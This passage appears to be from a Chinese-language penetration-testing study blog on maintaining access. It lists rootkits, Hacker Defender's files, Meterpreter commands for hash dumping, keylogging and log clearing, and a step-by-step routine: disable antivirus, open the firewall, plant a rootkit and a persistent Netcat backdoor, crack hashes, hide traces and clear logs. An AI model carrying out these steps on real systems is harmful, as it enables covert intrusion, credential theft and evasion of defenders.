  • 默认秘钥:metallica,使用参数“-k”更换秘钥

三、Rootkit

  • 强大而诡秘
  • 可用于隐藏文件、进程、程序,如同它们从未出现过
  • 犹如孙悟空在生死簿上划掉了猴族的名字
  • root表示具有根权限,kit表示工具集合
  • Rootkit可以让操作系统撒谎
  • 检测Rootkit的工具:Rootkit Revealer、vice和Blacklight

四、Hacker Defender:超乎想象的Windows平台Rootkit

  • Hacker Defender是indows平台下易于理解和使用的Rootkit
  • 具有三个主要文件:
    • hxdef100.exe:在目标计算机上运行Hacker Defender
    • hxdef100.ini:配置文件
    • bdcli100.exe:用于连接Hacker Defender的客户端软件
  • 需要管理员权限
  • 中文使用说明

五、Meterpreter:无所不能

Meterpreter基本命令:

命令 功能
cat file_name 显示指定文件的内容
cd、rm、mkdir、rmdir 和传统Linux终端使用的命令和输出相同
clearev 清除目标计算机应用程序、系统和安全日志中报告的所有事件
upload 上传攻击机器上的指定文件到目标机器
download 从目标下载指定文件到本地主机(攻击机器)
edit 提供一个VIM编辑器,可以对文档进行更改
execute -file_name 运行/执行目标上的指定文件
getsystem 命令meterpreter尝试将权限提升到最高级
hashdump 定位和显示目标上的用户名和散列。这些散列可以复制到指定文件,供John the Ripper破解
idletime 显示机器不活动时间
keyscan_start 开始记录受害机器上的击键。注意:为了捕获击键,必须迁移到explorer.exe进程中
keyscan_dump 显示当前从目标计算机上捕获的击键。注意:必须先运行keyscan_start
keyscan_stop 停止记录用户击键
ps 显示目标上运行的所有进程
kill pid_number 停止(杀死)指定进程。进程ID可以运行ps命令找到
migrate 将meterpreter shell移到另一个运行中的进程。注意:这是需要了解的重要命令
screenshot 提供来自目标机器的屏幕截图
search -f file_name 在目标机器上搜索指定文件
sysinfo 提供目标机器的相关系统信息,包括计算机名、操作系统名、服务包级别等
reboot/shutdown 重启或关闭目标机器

一个Meterpreter在Windows上的使用实例:

  1. 进行漏洞利用,对目标使用Meterpreter攻击荷载
  2. 使用“migrate”命令将Meterpreter转移到那些不为人熟知的常见进程中。如:svchost.exe
  3. 使用“kill”命令关闭杀毒软件
  4. 使用“shell”命令访问目标机器的命令提示符,并使用“netsh advfirewall firewall”命令更改Windows防火墙设置,使连接或者端口可以开放
  5. 在杀毒软件关闭的情况下使用“upload”命令上传Rootkit和Netcat等工具
  6. 用“execute -f”命令安装rootkit
  7. 若rootkit没有后门,则用Netcat做后门,其中使用“reg”命令修改注册表,持久化Netcat后门
  8. 用“hashdump”命令转储密码散列,用John破解密码
  9. 用“edit”命令配置rootkit.ini文件,隐藏上传的文件、后门、新开端口和修改的注册表项等
  10. 从攻击机器建立到目标的新连接,测试上传的后门
  11. 用“clearev”命令清除事件日志
  12. 攻击下一个目标

六、结束

  • 尝试Netcat的现代版:Ncat和Socat
  • 要很小心地尝试Rootkit
  • 努力成为Meterpreter大师
  • 更多后门程序:Netbus、Back Oriffice和Subseven(Sub7)
  • 学无止境
]]>
https://blog.werner.wiki/penetration-testing-practice-maintaining-access/feed/ 0